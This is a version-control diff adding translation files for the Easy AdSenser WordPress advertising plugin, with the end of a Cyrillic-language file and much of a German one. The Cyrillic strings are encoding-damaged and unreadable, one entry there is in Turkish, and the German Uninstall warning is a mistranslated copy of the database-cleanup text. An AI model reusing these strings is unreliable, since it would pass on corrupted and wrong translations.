+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Ð°Ð±'ÑÐ²Ñ Ð· ÑÑÐœÑÑÐ°Ð²Ð°ÐœÑÐŒ ÑÑÐºÑÑÐ°ÐŒ (ÐºÐ°Ð»Ñ ÑÐºÐ»ÑÑÐ°ÐœÐ°) Ñ ÐºÐ°ÑÐŸÑÐºÑÑ
+ Ð¿Ð°ÑÑÐ°Ñ
+."
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr "ÐÑÐºÐ»ÑÐœÐº:"
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr "(ÐÐ°ÐŽÑÐŒÐ°Ð¹ÑÐµ ÑÐºÐ°Ð·Ð°ÐœÐœÐµÐŒ, Ð¿ÑÑÐœÐ°ÐŒÑÑ Ð°ÐŽÐœÐ° ÑÐ¿Ð°ÑÑÐ»ÐºÐ°.) "
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr "ÐÐ°ÐºÐ°Ð·Ð²Ð°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð»Ñ ÐºÐŸÐ¶ÐœÐ°Ð³Ð° Ð±Ð»ÐŸÐºÑ Ð°Ð±'ÑÑ"
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr "ÐÐ°ÐºÐ°Ð·Ð²Ð°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ ÑÐŸÐ»ÑÐºÑ Ð»Ñ Ð¿ÐµÑÑÐ°Ð³Ð° Ð±Ð»ÐŸÐºÑ Ð°Ð±'ÑÑ"
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr "ÐÐ°ÐºÐ°Ð·Ð²Ð°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð»Ñ ÑÑÐ°ÑÐŸÐœÐºÑ Ð±Ð»ÐŸÐ³Ñ"
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "ÐÐµ Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ (ÐÑ ÑÐ²ÐµÑÐ°ÐœÑÑ?)"
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr "ÐÐ°Ñ
+Ð°Ð²Ð°ÑÑ ÐœÐ°Ð»Ð°ÐŽÑ"
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr "ÐÐ°Ñ
+Ð°Ð²Ð°ÑÑ ÐœÐ°Ð»Ð°ÐŽÑ ÑÐº Ð²ÑÐ·ÐœÐ°ÑÐ°ÐœÐ° Ð²ÑÑÑÐ¹"
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr "ÐÐ±ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ"
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "ÐÐ±ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ Ñ Ð·Ð°Ð³ÑÑÐ·ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ Ð¿Ð° Ð·ÐŒÐŸÑÑÐ²Ð°ÐœÐœÑ. (ÐÑ ÑÐ²ÐµÑÐ°ÐœÑÑ?)"
+
+#: admin.php:233
+msgid "[This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!]"
+msgstr "[ÐÑÑÐ°Ñ <b>ÐÐ±ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ</b> ÐºÐœÐŸÐ¿ÐºÐ° ÑÐ°Ð±'Ðµ ÑÑÐµ Ð²Ð°ÑÑÑ Ð·ÐŒÑÐœÐµÐœÐœÑ Ñ Ð·Ð°Ð³ÑÑÐ·ÑÑÑ Ð·Ð²ÑÑÐ°Ð¹ÐœÑÑ ÐœÐ°Ð»Ð°ÐŽÑ. ÐÑ Ð²Ð°Ñ Ð¿Ð°Ð¿ÑÑÑÐŽÐ·ÑÐ»Ñ!]"
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr "ÐÐ°ÐŽÑÑÑÐŒÐºÐ° Easy AdSenser"
+
+#: admin.php:245
+#, php-format
+msgid "If you would like support my efforts, please visit (and link-back to) my blog - %s"
+msgstr "ÐÐ°Ð»Ñ Ð²Ñ Ð¶Ð°ÐŽÐ°ÐµÑÐµ Ð¿Ð°ÐŽÑÑÑÐŒÐ°ÑÑ ÐŒÐ°Ðµ Ð²ÑÑÑÐ»ÐºÑ, ÐŒÐŸÐ¶ÐœÐ° Ð·ÐœÐ°Ð¹ÑÑÑ (Ñ ÑÐ¿Ð°ÑÐ»Ð°ÑÑÐ° ÐœÐ°) ÐŒÐŸÐ¹ Ð±Ð»ÐŸÐ³ - %s"
+
+#: admin.php:248
+#, php-format
+msgid "If you like the content and style of my blog, %s. In other words, lend me your eyes, but don't give me any money unless you like what you see. %s"
+msgstr "ÐÐ°Ð»Ñ Ð²Ð°ÐŒ Ð¿Ð°ÐŽÐ°Ð±Ð°ÐµÑÑÐ° ÑÑÑÑÐŒÐ°ÐœÐœÐµ Ñ ÑÑÑÐ»Ñ ÐŒÐ°Ð¹Ð³ÐŸ Ð±Ð»ÐŸÐ³Ð°,% s. ÐÐœÑÑÐŒÑ ÑÐ»ÐŸÐ²Ð°ÐŒÑ, ÐœÐµ Ð¿Ð°Ð·ÑÑÑÑÐµ ÐŒÐœÐµ Ð²ÐŸÐºÐ°, Ð°Ð»Ðµ ÐœÐµ ÐŽÐ°Ð²Ð°Ð¹ÑÐµ ÐŒÐœÐµ Ð³ÑÐŸÑÑ, ÐºÐ°Ð»Ñ Ð²Ð°ÐŒ ÑÐ¿Ð°ÐŽÐ°Ð±Ð°Ð»Ð°ÑÑ ÑÐŸÐµ, ÑÑÐŸ Ð²Ñ Ð±Ð°ÑÑÑÐµ. %s"
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "Ð·ÐŒÑÑÑÐ°Ðµ ÐŒÐ°Ð»ÑÑÐµÐœÑÐºÑÑ ÑÐ¿Ð°ÑÑÐ»ÑÑ ÐœÑÐ¶ÑÐ¹ (Ð¿ÐµÑÑÑ) ÑÑÐºÐ»Ð°ÐŒÐœÑ Ð±Ð»ÐŸÐº Ð°ÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° ÐœÐ°ÑÑÑÐ¿ÐœÑÐŒ ÑÑÐœÐ°ÐŒ: "
+
+#: admin.php:269
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "Ð Ð°Ð·Ð³Ð»ÐµÐŽÐ·ÑÐŒ Ð¿Ð°ÐºÑÐœÑÑÑÑ ÑÐ³ÐŸ Ð±ÐµÐ· Ð·ÐŒÐµÐœ. ÐÐ°Ð»Ñ ÐœÐµÐ°Ð±Ñ
+ÐŸÐŽÐœÐ° ÑÑÑÑÐœÑÑÑ ÑÐ³ÐŸ, ÐºÐ°Ð»Ñ Ð»Ð°ÑÐºÐ°, Ð²ÑÐºÐ°ÑÑÑÑÐ°Ð¹ÑÐµ ÑÐ¿Ð°ÑÑÐ»ÐºÑ, Ð·Ð²Ð°ÑÐŸÑÐœÑÑ Ð²ÑÑÑÐ¹ÑÐ°Ð¹. "
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "ÐÐ°Ð»Ñ Ð»Ð°ÑÐºÐ°, ÐœÐ°Ð¿ÑÑÑÑÐµ ÐŒÐœÐµ Ð°Ð± Ð¿ÑÐ°Ð±Ð»ÐµÐŒÐ°Ñ
+. ÐÐ°ÑÑÐ»Ð°Ð¹ÑÐµ ÑÐ°ÐºÑÐ°ÐŒÐ° Ð²ÐŸÐŽÐ·ÑÐ²Ñ Ñ ÐºÐ°ÐŒÐµÐœÑÐ°ÑÑ."
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr "ÐÐ°Ð¿ÑÑÐ°ÑÑ Ð³ÑÑÐ° ÐœÐ° ÑÐŸÑÑÐŒÐµ WordPress "
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr "[Ð€ÐŸÑÑÐŒ WordPress]"
+
+#: admin.php:273
+msgid "Or"
+msgstr "ÐŠÑ"
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr "ÐÐ°Ð²ÐµÐŽÐ°ÐŒÑÑÑ Ð°ÑÑÐ°ÑÑ Ð¿Ð»Ð°Ð³ÑÐœÐ° Ð¿Ð° email"
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr "[Email Ð°ÑÑÐ°ÑÐ°]"
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr "ÐÑÐ°Ð²ÐµÑÑÐµ ÑÐœÑÑÑ ÐŒÐ°Ðµ Ð¿Ð»Ð°Ð³ÑÐœÑ: "
+
+#: admin.php:279
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "ÐÐŒÑÐœÑÑÑ ÐºÐ°Ð»ÑÑÐŸÐ²ÑÑ ÑÑ
+ÐµÐŒÑ ÑÑÐŒ Ð±ÐµÐ· ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÑ CSS."
+
+#: admin.php:282
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "ÐÐ°Ð± Ð¿ÐµÑÐ°Ð²ÐµÑÑÑ ÑÐŸÑÐŒÑÐ»Ñ LaTeX, Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°Ð¹ÑÐµ [math](a+b)^2 = a^2 + b^2 + 2ab[/math] ÑÑÑ:"
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "My lean and mean AdSense plugin. ÐÑÐŒÐ° Ð±ÑÐ·Ð»Ð°ÐŽÐ·ÑÑÑ, ÐœÑ ÐŒÑÑÑÑÐœÑ."
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr "ÐÐ»Ð°ÐœÑ ÐœÐ° Ð±ÑÐŽÑÑÑÐœÑ"
+
+#: admin.php:299
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "ÐÑÐ°Ð±ÑÑÐµ ÑÐ¿Ð°ÑÑÐ»ÐºÑ  Google ÐŒÑÐ»ÑÑÑÑÑÑÐ°ÑÐ»ÑÐµÐŒÑÐŒÑ. "
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Ð±Ð»ÐŸÐº Ð°Ð±'ÑÑ Ñ ÐºÐ°ÑÑÐ³ÐŸÑÑÑ Ð¿ÑÐ°Ð³Ð»ÑÐŽÑ (Ð¿Ð° Ð·Ð°Ð¿ÑÑÑ ÐºÐ°ÑÑÑÑÐ°ÑÐ°)."
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Eklentinin tercÃŒme edilmiÅ versiyonunu tanÄ±t. (YardÄ±mÄ±nÄ±za ihtiyacÄ±mÄ±z var!)"
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÑÑ."
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr "Ð£ÑÐµ Ð²Ð°ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ Ð±ÑÐ»Ñ Ð·Ð±ÑÑÑÑ!"
+
+#: easy-adsenser.php:259
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+"ÐÐ°ÐŒÑÐ»ÐºÐ° Ð·ÐœÐ°Ñ
+ÐŸÐŽÐ¶Ð°ÐœÐœÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ð°ÐŽÐŒÑÐœÑÑÑÑÐ°ÑÐ°ÑÐ°e!\n"
+"Ð£Ð¿ÑÑÐœÑÑÐµÑÑ, ÑÑÐŸ admin.php ÑÑÐœÑÐµ ÑÑ Ð¿ÐµÑÐ°ÑÑÑÐ°ÐœÐ°Ð²ÑÑÐµ Ð¿Ð»Ð°Ð³ÑÐœ."
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ "
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr "Ð€ÑÐœÐŽÐ°ÑÐ°ÑÑÐºÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ"
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy Adserser: Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ Ð±Ð»ÐŸÐº Google AdSense Ñ Ð²Ð°ÑÑÐŒ Ð²ÑÐŽÐ¶ÑÑÐµ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÐ°"
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy Adserser: Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ ÑÐºÑÑÐœÑ Google Ñ Ð²Ð°ÑÑÐŒ Ð²ÑÐŽÐ¶ÑÑÐµ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÐ°"
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy Adserser: Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Google (Google Links Unit) Ñ Ð²Ð°ÑÑÐŒ Ð²ÑÐŽÐ¶ÑÑÐµ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÐ°"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at <a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "Ð¡Ð°ÐŒÑ Ð»ÑÐ³ÐºÑ ÐŒÐµÑÐ°ÐŽ Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ AdSense Ñ ÑÐ°Ð±ÑÑÑ Ð³ÑÐŸÑÑ ÐœÐ° Ð²Ð°ÑÑÐŒ Ð±Ð»ÐŸÐ³Ñ.ÐÐ°ÐœÑÑÐ³ÑÑÐ°Ð²Ð°ÑÑ <a href=\"options-general.php?page=easy-adsenser.php\">ÐÐ°Ð»Ð°ÐŽÑ &rarr; Easy AdSenser</a> ÑÑ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÑÑ \"ÐÐ°Ð»Ð°ÐŽÑ\" ÑÐ¿ÑÐ°Ð²Ð°."
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/de_DE/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/de_DE/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/de_DE/easy-adsenser.po	(revision 44)
@@ -0,0 +1,584 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-04-12 03:54+0000\n"
+"PO-Revision-Date: 2009-06-17 23:33+0100\n"
+"Last-Translator: Jeff Taylor <taylorjeff@aol.com>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Anleitung"
+
+#: admin.php:14
+msgid "How to Set it up"
+msgstr "Easy AdSense einrichten"
+
+#: admin.php:16
+#, php-format
+msgid "A few easy steps to setup %s"
+msgstr "Ein paar einfache Schritte, um %s einzurichten"
+
+#: admin.php:21
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "AdSense code unter (https://www.google.com/adsense &rarr; AdSense Setup &rarr; Anzeigen abrufen)."
+
+#: admin.php:26
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "LÃ¶schen Sie aus den unten stehenden Boxen den vorhandenen Code und kopieren Sie Ihren AdSense-Code hinein."
+
+#: admin.php:31
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Entscheiden Sie, welche Ausrichtung der Code in Ihren Blog-EintrÃ€gen haben soll."
+
+#: admin.php:35
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "Werfen Sie einen Blick auf die Google Richtlinien und andere Optionen. Die Standardeinstellungen sollten funktionieren."
+
+#: admin.php:40
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "Wenn Sie Widgets nutzen mÃ¶chten, kÃ¶nnen Sie %s unter Darstellung &rarr; Widgets einbinden"
+
+#: admin.php:45
+msgid "Save the options, and you are done!"
+msgstr "Speichern Sie die Optionen, und Sie haben es geschafft!"
+
+#: admin.php:51
+msgid "How to Control AdSense on Each Post"
+msgstr "Wie man AdSense fÃŒr jeden Post kontrollieren kann "
+
+#: admin.php:52
+msgid "Need to control ad blocks on each post?"
+msgstr "Sie mÃ¶chten die WerbeblÃ¶cke fÃŒr jedem Post kontrollieren?"
+
+#: admin.php:54
+msgid ""
+"If you want to suppress AdSense in a particular post or page, give the <b><em>comment </em></b> \"&lt;!--noadsense--&gt;\" somewhere in its text.\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> \"adsense\" and give it a <b>value</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or page displays AdSense blocks:<br />\r\n"
+"<b>Keys</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Values</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+msgstr ""
+"Wenn Sie die AdSense in einer bestimmten Nachricht oder einer Seite unterdrÃŒcken mÃ¶chten, integrieren Sie einfach den folgenden <b><em>Kommentar: </em></b> \"&lt;!--noadsense--&gt;\" irgendwo in ihren Text ein.\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Oder Sie fÃŒgen ein <b><em>benutzerdefiniertes Feld</em></b> mit dem <b>SchlÃŒsselwort (Key)</b>: \"adsense\" ein, und geben ihm den <b>Wert (Value)</b>: \"no\".<br />\r\n"
+"<br />\r\n"
+"Weitere <b><em>benutzerdefinierte Felder</em></b> das Sie zur Feinabstimmung und Darstellung der AdSense-BlÃ¶cke verwenden kÃ¶nnen:<br />\r\n"
+"<b>SchlÃŒsselwort</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Werte (Values)</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+
+#: admin.php:78
+msgid "Would you like to support this plugin effort?"
+msgstr "Wenn sie die Arbeit an diesem Plugin unterstÃŒtzen mÃ¶chten:"
+
+#: admin.php:81
+msgid "Make a donation"
+msgstr "Spenden sie"
+
+#: admin.php:82
+msgid " or "
+msgstr " oder "
+
+#: admin.php:84
+#: admin.php:299
+msgid "consider buying my book"
+msgstr "kaufen sie mein Buch"
+
+#: admin.php:92
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Optionen (fÃŒr das %s Theme)"
+
+#: admin.php:104
+msgid "Ad Blocks in Your Posts"
+msgstr "AdSense-BlÃ¶cke in ihren Posts"
+
+#: admin.php:105
+msgid "[Appears in your posts and pages]"
+msgstr "[Erscheint in Ihren Posts und Seiten]"
+
+#: admin.php:115
+msgid "Widgets for Your Sidebars"
+msgstr "Widgets fÃŒr Ihre Seitenleisten"
+
+#: admin.php:116
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[Siehe <a href=\"widgets.php\"> Darstellung (oder Design) &rarr; Widgets</a>]"
+
+#: admin.php:130
+msgid "Lead-in AdSense Text"
+msgstr "AdSense Block am Anfang"
+
+#: admin.php:131
+msgid "(Appears near the beginning of the post)"
+msgstr "(Erscheint in der NÃ€he des ersten Posts)"
+
+#: admin.php:134
+#: admin.php:149
+#: admin.php:164
+#: admin.php:204
+#: admin.php:220
+msgid "Ad Alignment"
+msgstr "Ausrichtung der AdSense"
+
+#: admin.php:135
+#: admin.php:150
+#: admin.php:165
+#: admin.php:205
+#: admin.php:221
+msgid "(Where to show?)"
+msgstr "(Wo sollen sie angezeigt werden?)"
+
+#: admin.php:137
+#: admin.php:152
+#: admin.php:167
+#: admin.php:207
+#: admin.php:223
+msgid "Align Left"
+msgstr "linksbÃŒndig"
+
+#: admin.php:138
+#: admin.php:153
+#: admin.php:168
+#: admin.php:208
+#: admin.php:224
+msgid "Center"
+msgstr "zentriert"
+
+#: admin.php:139
+#: admin.php:154
+#: admin.php:169
+#: admin.php:209
+#: admin.php:225
+msgid "Align Right"
+msgstr "rechtsbÃŒndig"
+
+#: admin.php:140
+msgid "Suppress Lead-in Ad"
+msgstr "Einleitenden AdSense unterdrÃŒcken"
+
+#: admin.php:145
+msgid "Mid-Post AdSense Text"
+msgstr "AdSense Text nahe dem mittleren Post "
+
+#: admin.php:146
+msgid "(Appears near the middle of the post)"
+msgstr "(Erscheint in der NÃ€he des mittleren Posts)"
+
+#: admin.php:155
+msgid "Suppress Mid-post Ad"
+msgstr "Mittleren AdSense Block unterdrÃŒcken"
+
+#: admin.php:160
+msgid "Post Lead-out AdSense Text"
+msgstr "AdSense Text nahe dem letzten Post"
+
+#: admin.php:161
+msgid "(Appears near the end of the post)"
+msgstr "(Erscheint in der NÃ€he des letzten Posts)"
+
+#: admin.php:170
+msgid "Suppress Lead-out Ad"
+msgstr "AdSense Block am Ende unterdrÃŒcken"
+
+#: admin.php:178
+msgid "Option on Google Policy"
+msgstr "Optionen nach Google Richtlinien"
+
+#: admin.php:179
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "(Nach den Google-Richtlinien sollten nicht mehr als drei AdSense BlÃ¶cke und drei Link-BlÃ¶cke pro Seite eingebunden werden)"
+
+#: admin.php:182
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "Drei AdSense BlÃ¶cke (einschlieÃlich der Widget-Leiste, wenn sie aktiviert ist)."
+
+#: admin.php:183
+msgid "Two ad blocks."
+msgstr "Zwei AdSense BlÃ¶cke."
+
+#: admin.php:184
+msgid "One ad block."
+msgstr "Ein AdSense Block."
+
+#: admin.php:185
+msgid "No ad blocks in posts."
+msgstr "Keine AdSense BlÃ¶cke in den Posts."
+
+#: admin.php:186
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "Beliebige Anzahl von AdSense BlÃ¶cken (auf eigene Gefahr!)"
+
+#: admin.php:188
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "Anzahl der Link-Block Widgets (&le; 3) [Google berÃŒcksichtigt nur drei]:"
+
+#: admin.php:200
+msgid "AdSense Widget Text"
+msgstr "AdSense Widget Text"
+
+#: admin.php:201
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(Erscheint in der Sidebar als Widget)"
+
+#: admin.php:210
+msgid "Suppress Widget"
+msgstr "Widget ausblenden"
+
+#: admin.php:211
+msgid "Widget Title:"
+msgstr "Widget Ãberschrift:"
+
+#: admin.php:216
+msgid "AdSense Link-Units Text"
+msgstr "AdSense Link-Einheiten Text"
+
+#: admin.php:217
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(Erscheint in der Sidebar als Widget)"
+
+#: admin.php:226
+msgid "Suppress Link Units"
+msgstr "Link-BlÃ¶cke ausblenden"
+
+#: admin.php:227
+msgid "Link Unit Title:"
+msgstr "Link-Block Ãberschrift:"
+
+#: admin.php:232
+msgid "Google Search Widget"
+msgstr "Google-Suche Widget"
+
+#: admin.php:233
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(FÃŒgt ein Google-Suchfeld zu Ihrer Sidebar hinzu)"
+
+#: admin.php:236
+msgid "Search Title"
+msgstr "Ãberschrift der Suche"
+
+#: admin.php:237
+msgid "(Title of the Google Search Widget)"
+msgstr "(Ãberschrift des Google Such Widgets)"
+
+#: admin.php:241
+msgid "Suppress Search Box"
+msgstr "Suchbox ausblenden"
+
+#: admin.php:242
+msgid "Custom Title:"
+msgstr "Eigene Ãberschrift:"
+
+#: admin.php:250
+msgid "Other Options"
+msgstr "Weitere Optionen"
+
+#: admin.php:252
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "AdSense BlÃ¶cke in Feeds zulassen. [Bitte melden Sie uns Probleme mit dieser Option.]"
+
+#: admin.php:253
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Sidebar Widget priorisieren. (Zeigt das Widget immer an, wenn es aktiviert ist.)"
+
+#: admin.php:254
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "AdSense im mittleren Post (wenn aktiviert) in kurzen Posts erzwingen."
+
+#: admin.php:255
+msgid "Show ads only in posts (and not on pages)."
+msgstr "AdSense nur in Posts einblenden (und nicht auf den Seiten)."
+
+#: admin.php:257
+msgid "Link-backs to"
+msgstr "RÃŒckverlinkungen auf"
+
+#: admin.php:258
+msgid "(Consider showing at least one link.)"
+msgstr "(BerÃŒcksichtigen Sie bitte mindestens einen Link.)"
+
+#: admin.php:260
+msgid "Show a link under every ad block."
+msgstr "Link unter jedem AdSense Block anzeigen."
+
+#: admin.php:261
+msgid "Show the link only under the first ad block."
+msgstr "Link nur unter dem ersten AdSense Block anzeigen."
+
+#: admin.php:262
+msgid "Show the link at the bottom of your blog page."
+msgstr "Link am Ende der Blogseite anzeigen."
+
+#: admin.php:263
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "Keinen Link in meinem Blog anzeigen. (Ist das fair?)"
+
+#: admin.php:273
+msgid "Save Changes"
+msgstr "Ãnderungen speichern"
+
+#: admin.php:273
+msgid "Save the changes as specified above"
+msgstr "Speichern Sie die Ãnderungen wie oben"
+
+#: admin.php:274
+msgid "Reset Options"
+msgstr "Reset"
+
+#: admin.php:274
+#: admin.php:281
+#: admin.php:284
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "Verwerfen Sie alle Ihre Ãnderungen und laden sie die Voreinstellungen. (Sind Sie ganz sicher?)"
+
+#: admin.php:275
+msgid "Clean Database"
+msgstr "Datenbank sÃ€ubern"
+
+#: admin.php:276
+msgid "Uninstall"
+msgstr "Deinstallieren"
+
+#: admin.php:280
+msgid "This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!"
+msgstr "Der <b>Reset</ b>-Button lÃ¶scht alle Ãnderungen und lÃ€dt die Grundeinstellungen. Dies ist Ihre einzige Warnung!"
+
+#: admin.php:283
+msgid "The <b>Database Cleanup</b> button discards all your AdSense settings you have saved so far for <b>all</b> the themes, including the current one. Use it only if you know that you won't be using these themes. Please be careful with all database operations -- keep a backup."
+msgstr "Der <b>Datenbank sÃ€ubern</ b>-Button lÃ¶scht <b>alle</ b> Ihre AdSense-Einstellungen, die Sie bisher gespeichert haben. <b>Alle</ b> Themes, auch das aktuelle. Klicken Sie hier nur, wenn Sie wissen was Sie tun. Bitte seien Sie vorsichtig mit allen Datenbankoperationen -- und machen Sie vorher ein Backup."
+
+#: admin.php:286
+#, php-format
+msgid "The <b>Uninstall</b> button really kills %s after cleaning up all the options it wrote in your database. This is your only warning! Please be careful with all database operations -- keep a backup."
+msgstr "Der Datenbank <b> Cleanup </ b>-Taste lÃ¶scht alle Ihre AdSense-Einstellungen, die Sie gespeichert haben, so weit fÃŒr alle <b> </ b> Die Themen, darunter die aktuelle. Verwenden Sie es nur, wenn Sie wissen, dass Sie nicht mit diesen Themen. Bitte seien Sie vorsichtig mit allen Datenbankoperationen - ein Backup."
+
+#: admin.php:287
+msgid "Kill this plugin. (Are you quite sure?)"
+msgstr "Dieses Plugin lÃ¶schen. (Sind Sie ganz sicher?)"
+
+#: admin.php:291
+msgid "Support"
+msgstr "Support"
+
+#: admin.php:296
+msgid "If you would like to support my efforts, please visit (and link-back to) my blog"
+msgstr "Wenn Sie meine Arbeit unterstÃŒtzen mÃ¶chten, besuchen Sie bitte meinen Blog (und verlinken Sie auf meine Seite :-)"
+
+#: admin.php:299
+msgid "If you like the content and style of my blog,"
+msgstr "Wenn Ihnen die Inhalte und der Stil von meinem Blog gefÃ€llt,"
+
+#: admin.php:324
